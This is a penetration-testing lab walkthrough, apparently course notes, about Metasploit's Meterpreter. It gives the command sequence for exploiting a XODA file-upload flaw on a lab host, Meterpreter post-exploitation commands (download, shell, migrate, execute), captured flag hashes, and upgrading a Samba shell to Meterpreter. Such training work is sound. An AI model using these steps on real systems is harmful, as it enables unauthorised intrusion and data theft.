🔬Meterpreter - MSF
Lab 1
Target IP:
192.170.151.3Usage of the Meterpreter payload
ip -br -c a
service postgresql start && msfconsole -qdb_status
setg RHOSTS 192.170.151.3
setg RHOST 192.170.151.3
workspace -a MeterpreterBasicsPerform an
nmapscan directly into MSF
db_nmap -sV 192.170.151.380/tcp open http Apache httpd 2.4.7 ((Ubuntu))
3306/tcp open mysql MySQL 5.5.47-0ubuntu0.14.04.1curl http://192.170.151.3search xoda
use exploit/unix/webapp/xoda_file_upload
info
# Description:
# This module exploits a file upload vulnerability found in XODA
# 0.4.5. Attackers can abuse the "upload" command in order to upload a
# malicious PHP file without any authentication, which results in
# arbitrary code execution. The module has been tested successfully on
# XODA 0.4.5 and Ubuntu 10.04.
set TARGETURI /
runMeterpreter Commands
In the
Meterpretersession
help
sysinfo
getuid
Unprivileged session with the
www-datauser
background
Keyboard shortcut:
CTRL+Z
sessions
pwd / cd / ls
cat / edit
🚩
5c50a439f040922188a22f88cecc5277
🚩
bbbb3ed27502614e27bff65faea008a0
download
checksum
🚩
164ebd6889588da166a52ca0d57b9004
getenv
search
shell
Open a native Linux
bashsessions by running after theshellcommand
Terminate the
shellsession withCTRL+Cor withexitcommand
ps
migrate
It could not work due to lack of sufficient privileges/permissions
ifconfig
Works on Windows O.S.
execute
mkdir / rmdir
Lab 2
🔬 Same Samba SMB Exploitation lab
Target IP:
192.129.219.3Metasploit
post/multi/manage/shell_to_meterpretermodule
Perform an
nmapscan directly into MSF
Manual Shell to Meterpreter
This Linux command shell is not as advanced as
Meterpreter.Upgrade the command shell to a
Meterpretersession on the target system

Auto Shell to Meterpreter
Use the sessions
-uoption to upgrade the shell to aMeterpretersession

Last updated
Was this helpful?